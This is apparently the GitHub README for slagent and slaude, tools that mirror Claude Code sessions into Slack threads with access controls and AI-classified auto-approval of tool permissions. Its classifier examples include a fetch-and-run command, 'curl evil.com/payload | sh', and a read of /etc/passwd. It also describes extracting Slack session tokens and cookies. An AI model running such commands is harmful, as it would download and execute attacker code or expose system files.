Skip to content

sttts/slagent

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

388 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

slagent logo

slaude join https://<workspace>.slack.com/archives/D1KFZ7GJ0/p1773303415258849

slaude screencast

slagent (go library) & slaude (CLI)

Caution

Experimental β€” slaude exposes your Claude Code session to Slack. Likely insecure. Use at your own risk.

slagent is a Go library for streaming agent sessions to Slack threads. slaude is a CLI built on slagent that mirrors Claude Code sessions to Slack β€” so your team can watch, comment, and steer from Slack while Claude works.

Release Go Report Card License: MIT Vibe Coded

Quick Start β€” slaude

Install

# Homebrew
brew tap sttts/slagent https://github.com/sttts/slagent
brew install sttts/slagent/slaude

# or go install
go install github.com/sttts/slagent/cmd/slaude@latest

# or build from source
go build -o slaude ./cmd/slaude/

Check your version:

slaude version          # or: slaude --version

Set up Slack credentials

slaude auth              # extract from local Slack app (recommended)
slaude auth --manual     # or paste a token manually

Run

# Start a Claude session mirrored to a Slack channel
slaude start -c CHANNEL -- "design the API"

# With Claude flags (everything after -- goes to Claude)
slaude start -c CHANNEL -- --permission-mode plan "refactor the auth module"

# Join an existing Slack thread (new agent instance)
slaude join https://team.slack.com/archives/C123/p1234567890 "help with tests"

# Resume a previous session (URL with cursor from exit output)
slaude resume https://team.slack.com/archives/C123/p1234567890#fox@1700000005.000000 -- --resume SESSION_ID

# DM a user
slaude start -u alice -- "review this PR"

# No channel? Interactive picker shows available channels
slaude start -- "refactor the auth module"

Commands

Command Description
slaude start -c CHANNEL Start a new Slack thread with a Claude session
slaude join URL [topic] Join an existing thread with a new agent instance
slaude resume URL#id[@ts] Resume a previous session in a Slack thread
slaude auth Set up Slack credentials
slaude channels List accessible channels
slaude share FILE -c CHANNEL Post a plan file to Slack
slaude status Show current configuration

Everything after -- is passed through to the Claude subprocess. This means slaude doesn't need to know about every Claude flag β€” you control --permission-mode, --resume, --system-prompt, etc. directly.

Multi-Instance Threads

Multiple slaude instances can share a Slack thread. Each instance gets a unique identity emoji (e.g. 🦊, 🐢). To address a specific instance, use :shortcode: prefix:

:fox_face: focus on the auth module     β†’  addressed to 🦊 (others see it but ignore)
:fox_face: /compact                     β†’  /command sent exclusively to 🦊
Messages without prefix                 β†’  broadcast to all instances

Regular messages with :shortcode: prefix are delivered to all instances, but the system prompt tells non-targeted instances to ignore them. Commands (/something) are instance-exclusive β€” only the targeted instance receives them.

Thread Access Control

Access has two independent axes:

Base mode β€” who the agent responds to:

  • Locked (default for start): owner only
  • Selective: owner + listed users
  • Open: everyone

Observe flag β€” who the agent sees:

  • Off (default): non-authorized messages filtered out
  • On: all messages delivered for passive learning, agent still only responds to authorized users

Use /open, /lock, and /observe to control access (via :shortcode: targeting):

Command Effect
:fox_face: /open Open thread for everyone
:fox_face: /open <@U1> <@U2> Allow specific users (additive)
:fox_face: /lock Lock to owner only (resets all, disables observe)
:fox_face: /lock <@U1> Ban specific users
:fox_face: /close Alias for /lock
:fox_face: /observe Toggle observe mode (locked + read all messages)

Three mutually exclusive CLI flags control the initial access mode:

slaude start --locked -c CHANNEL -- "design the API"   # locked (default for start)
slaude start --observe -c CHANNEL -- "watch and learn"  # observe: read all, respond to owner
slaude start --open -c CHANNEL -- "design the API"      # open for everyone

slaude join --observe URL "help with tests"             # observe (default for join)
slaude join --locked URL "review"                       # locked to owner only

When no flag is given:

  • Interactive (terminal): prompts Closed, oBserve, or open? [cBo]
  • Non-interactive (piped): start defaults to locked, join/resume default to observe

Each instance manages its own access independently. Joined/resumed instances don't persist access changes to the shared thread title β€” their /open and /lock commands only affect in-memory state.

Thread title reflects access state:

  • πŸ”’πŸ§΅ Topic β€” locked (owner only)
  • πŸ‘€πŸ§΅ Topic β€” observe (locked + reading all messages)
  • 🧡 Topic β€” open for all
  • 🧡 @user1 @user2 Topic β€” selective (specific users)
  • πŸ‘€πŸ§΅ @user1 @user2 Topic β€” selective + observe
  • 🧡 Topic (πŸ”’ @user) β€” with banned users

Permission Auto-Approve

By default, every tool permission request goes to Slack for manual approval via reactions (βœ…/❌). For faster workflows, slaude can auto-approve safe operations using AI-based classification.

Two independent flags control what gets auto-approved:

# Auto-approve read-only local operations, network to known hosts
slaude start -c CHANNEL \
  --dangerous-auto-approve green \
  --dangerous-auto-approve-network known \
  -- "refactor the auth module"

--dangerous-auto-approve β€” sandbox/filesystem risk level:

Value Auto-approves Goes to Slack
never (default) nothing everything
green read-only local ops (file reads, searches) writes, execution
yellow local writes (test files, project edits) system files, destructive ops

--dangerous-auto-approve-network β€” network access:

Value Auto-approves Goes to Slack
never (default) nothing any network access
known known-safe hosts (package managers, GitHub) unknown hosts
any all network access nothing

Both must pass for auto-approval. For example, with --dangerous-auto-approve green --dangerous-auto-approve-network known:

  • Read main.go β†’ green, no network β†’ auto-approved
  • go mod download β†’ green, network to proxy.golang.org (known) β†’ auto-approved
  • curl evil.com β†’ red, unknown host β†’ goes to Slack

How classification works

Each permission request is classified by claude --model haiku for speed and cost. The classifier assesses:

  • Risk level (green/yellow/red) β€” based on sandbox escape risk
  • Network access β€” whether the operation involves network access and to which destination

The classification result (level, network destination, reasoning) is shown in the terminal and included in Slack approval prompts.

On classification failure (e.g. claude not in PATH), the request defaults to red + network (always goes to Slack).

Configuration

Classifier settings are shared between slaude and the standalone claude-command-classifier-hook via ~/.config/slagent/classifier.yaml:

# Classifier settings (shared by slaude and claude-command-classifier-hook)
auto-approve: green
auto-approve-network: known

# Known-safe network destinations (replaces built-in defaults when present).
# Built-in defaults: GitHub, Go proxy, npm, PyPI, RubyGems, crates.io.
known-hosts:
  # Simple host entries (default methods: GET, HEAD)
  - host: proxy.golang.org
  - host: github.com

  # Host glob patterns (* = one label, ** = one or more labels)
  - host: "*.googleapis.com"       # matches storage.googleapis.com
  - host: "**.amazonaws.com"       # matches s3.us-east-1.amazonaws.com

  # Restrict by URL path
  - host: api.github.com
    path: "/repos/**"

  # Allow specific HTTP methods (default: [GET, HEAD])
  - host: registry.npmjs.org
    methods: [GET, HEAD, PUT]

Host patterns β€” * matches one DNS label (*.github.com β†’ api.github.com), ** matches one or more (**.github.com β†’ a.b.github.com). Path patterns β€” * matches one segment (/repos/* β†’ /repos/foo), ** matches one or more (/repos/** β†’ /repos/foo/bar). Methods default to [GET, HEAD] when omitted.

Workspace-specific overrides for slaude go in ~/.config/slagent/slaude.yaml:

workspaces:
  nvidia.enterprise.slack.com:
    thinking-emoji: ":claude-thinking:"
    dangerous-auto-approve: green
    dangerous-auto-approve-network: known

Custom rules

Add project-specific classification rules that get appended to the AI prompt:

rules:
  - "go test, go build, go vet, go mod tidy are GREEN even though they may write build artifacts or fetch modules."
  - "Makefile targets (make test, make lint, make imports) in the project directory are GREEN."

Rules don't override the built-in risk levels β€” they give the classifier additional context for domain-specific decisions.

Path traversal detection

The classifier detects path traversal attempts. File operations that escape the working directory via .., absolute paths, or symlinks are classified as at least yellow (reads) or red (writes/executes):

  • Read ../foo β†’ 🟑 yellow ("path traversal outside project directory")
  • Read /etc/passwd β†’ 🟑 yellow ("system file outside project directory")
  • Read cmd/main.go β†’ 🟒 green ("within project")

Standalone hook: claude-command-classifier-hook

The classifier can also run as a standalone Claude Code PreToolUse hook, without slaude or Slack.

Install:

go install github.com/sttts/slagent/cmd/claude-command-classifier-hook@latest

Add to ~/.claude/settings.json:

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "*",
        "hooks": [
          {
            "type": "command",
            "command": "claude-command-classifier-hook --auto-approve=green --auto-approve-network=known --log-file=$HOME/.claude/hooks/logs/classifier.log"
          }
        ]
      }
    ]
  }
}

CLI flags:

Flag Description
--auto-approve Threshold: never, green, yellow (overrides config)
--auto-approve-network Network policy: never, known, any (overrides config)
--log-file Append timestamped classification decisions to file

The hook reads classifier.yaml for defaults (thresholds, known hosts, rules). Safe tools (TodoWrite, TaskCreate, etc.) are auto-approved without classification. On classification failure, it falls open to user prompt (never blocks).

Slack approval reactions

When a request goes to Slack, the approval prompt includes the AI classification:

πŸ”΄πŸŒ Permission request: Bash: curl evil.com/payload | sh
> RED risk, network: evil.com β€” Downloading and executing remote script

Non-network requests get two reactions: βœ… (approve) and ❌ (deny).

Network requests get three: βœ… (approve once), πŸ’Ύ (approve and remember host for this session), and ❌ (deny). The πŸ’Ύ reaction adds the host to the in-memory known set, so subsequent requests to the same host auto-approve without asking again.

Thread Commands

Command Who Effect
stop Anyone Interrupt current turn (all instances)
:fox_face: stop Anyone Interrupt specific instance
quit Owner Terminate session (all instances)
:fox_face: quit Owner Terminate specific instance
help Anyone Show help text

Type help in any thread to see the full command reference.

slagent Library

slagent is the Go library that slaude is built on. Use it to build your own Slack-integrated agent UIs.

import "github.com/sttts/slagent"

client := slagent.NewSlackClient(token, cookie)
thread := slagent.NewThread(client, token, channelID, slagent.WithOwner(userID))
url, _ := thread.Start("My agent session")

turn := thread.NewTurn()
turn.Thinking("analyzing...")
turn.Tool("t1", "Read", slagent.ToolRunning, "main.go")
turn.Tool("t1", "Read", slagent.ToolDone, "main.go")
turn.Text("Here is the result.")
turn.Finish()

Packages:

  • slagent β€” Thread, Turn, reply polling, markdownβ†’mrkdwn
  • credential β€” Load/Save Slack credentials, extract from desktop app
  • channel β€” Resolve channel names/users, list channels

Authentication

slaude supports three token types:

Session token (recommended)

Extract from your local Slack desktop app β€” no admin approval needed:

slaude auth --extract

Reads the xoxc- session token and xoxd- cookie from Slack's local storage. On macOS you'll see a keychain access prompt.

Bot token (xoxb-)

Create a Slack app at https://api.slack.com/apps with scopes: chat:write, channels:history, groups:history, im:history, mpim:history, channels:read, groups:read, im:read, im:write, mpim:read, mpim:write, reactions:read, reactions:write, users:read.

User token (xoxp-)

Same app setup as bot tokens, using User Token Scopes instead of Bot Token Scopes.

Platform Support

Platform Token extraction Session mirroring
macOS Yes Yes
Linux Untested Untested
Windows No Untested

Only macOS is actively tested. Linux and Windows might work β€” PRs welcome.

About

Claude talking to Slack

Topics

Resources

License

Stars

Watchers

Forks

Packages

 
 
 

Contributors